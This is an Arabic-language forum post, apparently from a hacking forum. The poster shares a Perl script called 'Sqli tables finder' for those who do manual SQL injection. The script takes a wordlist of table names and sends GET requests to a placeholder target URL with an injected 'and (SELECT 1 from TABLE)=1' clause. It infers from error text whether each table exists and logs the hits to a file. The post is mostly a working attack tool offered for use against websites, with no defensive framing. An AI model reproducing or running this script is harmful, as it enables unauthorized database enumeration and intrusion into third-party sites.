المشاركات اخر المواضيع الاكثر مشاهدة

iEvNr

:: إدارة :: CyberTeaM سابقا
إنضم
29 مايو 2018
المشاركات
800
مستوى التفاعل
759
النقاط
93
الإقامة
Cyber City
نظام التشغيل
linux
طريقة التخمين على التايبليز Sqli tables finder
السلام عليكم ورحمة الله وبركاته

لمحبي الحقن اليدوي

طريقة للتخمين على التايبلز

بالتوفيق
كود:
 use strict;
    use warnings;
    use LWP::UserAgent;
    use HTTP::Request::Common;
    
    system('cls');
print '
  ____       _____     _____ 
 / __"| u   |_ " _|   |" ___|
<\___ \/      | |    U| |_  u
 u___) |     /| |\   \|  _|/ 
 |____/>>   u |_|U    |_|     
  )(  (__)  _// \\_   )(\\,- 
 (__)      (__) (__) (__)(_/ 
';
print "\n Sql  TABLES  Finder\n";
    
    print "List Of  TABLES  -> ";
    my $tables = <STDIN>;
    chomp($tables);
    open (TABLESFILE, "<$tables") || die "[-] Can't Found ($tables) !";
    my @tables = <TABLESFILE>;
    close TABLESFILE;
    system('clear');
    system('cls');
    print "Cracking Now !...\n";

        foreach my $table (@tables) {
        chomp $table;
                my $UserAgent = LWP::UserAgent->new;
                my $sql = "https://www.site.com/path/-id and (SELECT 1 from $table )=1"; #change to your targer
                my $request = HTTP::Request->new(GET => $sql);
                my $reponse = $UserAgent->request($request);
                #print $sql;
                if ($reponse->content =~m/SQL/) { #change to your specific string
                    print "Table doesn't exist => ($table)\n";
                }
                else{
                    print " Table exist => ($table)\n";
                    open(LNT,">>tables_exists.txt");
                    print LNT "$table\n";
                    close(LNT);}
    }
 
أعلى